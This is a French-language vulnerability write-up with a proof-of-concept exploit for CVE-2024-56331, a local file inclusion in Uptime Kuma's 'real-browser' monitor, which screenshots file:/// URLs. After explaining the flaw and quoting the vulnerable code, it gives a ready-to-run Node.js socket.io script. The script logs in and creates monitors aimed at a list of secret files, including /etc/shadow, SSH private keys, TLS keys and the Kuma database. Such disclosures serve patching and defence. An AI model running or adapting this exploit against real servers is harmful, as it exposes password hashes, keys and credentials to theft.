
Preuve de concept d'exploit pour CVE-2024-56331, démontrant une inclusion locale de fichiers dans Uptime Kuma via une gestion incorrecte des URL dans le moniteur real-browser. Utilise le protocole file:/// pour capturer des captures d'écran de fichiers sensibles du serveur.
Real-BrowserUne vulnérabilité de gestion incorrecte des URL permet à un attaquant d'accéder à des fichiers locaux sensibles sur le serveur en exploitant le protocole file:///. Cette vulnérabilité est déclenchée via le type de requête "real-browser", qui prend une capture d'écran de l'URL fournie par l'attaquant. En fournissant des chemins de fichiers locaux, tels que file:///etc/passwd, un attaquant peut lire des données sensibles depuis le serveur.
La vulnérabilité provient du fait que le système ne valide ni ne nettoie correctement l'entrée utilisateur pour le champ URL. Plus précisément :
L'entrée de l'URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) permet aux utilisateurs de saisir des chemins de fichiers arbitraires, y compris ceux utilisant le protocole , sans validation côté serveur.
file:///Le serveur utilise ensuite l'URL fournie par l'utilisateur pour effectuer une requête, la transmettant à une instance de navigateur qui exécute la requête "real-browser", laquelle prend une capture d'écran du contenu à l'URL donnée. Si un chemin de fichier local est saisi (par exemple, file:///etc/passwd), le navigateur récupère et capture le contenu du fichier.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
Étant donné que l'entrée utilisateur n'est pas validée, un attaquant peut manipuler l'URL pour demander des fichiers locaux (par exemple, file:///etc/passwd), et le système capturera une capture d'écran du contenu du fichier, exposant potentiellement des données sensibles.
view-source:file:///etc/passwd.Exemple de PoC :
const { io } = require("socket.io-client");
// Configuration du serveur et identifiants
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// Liste des fichiers sensibles sur un système Linux
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // Peut varier selon la distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Fichier de base de données d'Uptime Kuma
"/app/data/config.json" // Fichier de configuration d'Uptime Kuma
];
// Fonction pour envoyer une requête et attendre la réponse
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Réponse pour le fichier ${filePath} :`, res);
resolve();
});
});
}
// Fonction principale pour se connecter et envoyer la requête 'add'
(async () => {
const socket = io(CONFIG.serverUrl);
// Gérer les erreurs de connexion
socket.on("connect_error", (err) => {
console.error("Échec de la connexion :", err.message);
});
try {
// Connexion avec les identifiants
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connexion réussie");
resolve();
} else {
console.log(res);
reject(new Error("Connexion échouée"));
}
});
});
// Envoi des requêtes pour chaque fichier en utilisant Promise.all pour garantir la synchronisation
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Attendre que toutes les requêtes soient envoyées
await Promise.all([...realBrowserRequests]);
// Fermer la socket après l'envoi de toutes les requêtes
socket.close();
console.log("Connexion fermée après toutes les requêtes.");
} catch (error) {
console.error("Erreur :", error.message);
socket.close();
}
})();
Cette vulnérabilité est un problème d'inclusion de fichier local (LFI), qui permet à un attaquant d'accéder à des fichiers sensibles du serveur et potentiellement de les exfiltrer. L'impact est significatif, car les attaquants peuvent accéder à des fichiers système critiques ou des fichiers de configuration d'application, tels que :
/etc/passwd : Contient les informations des comptes utilisateurs./etc/shadow : Contient les hachages de mots de passe./app/data/kuma.db : Contient la base de données de l'outil de surveillance Uptime Kuma./app/data/config.json : Contient les identifiants de base de données pour Uptime Kuma.Tout utilisateur authentifié pouvant soumettre une URL en mode "real-browser" risque d'exposer des données sensibles via des captures d'écran de ces fichiers.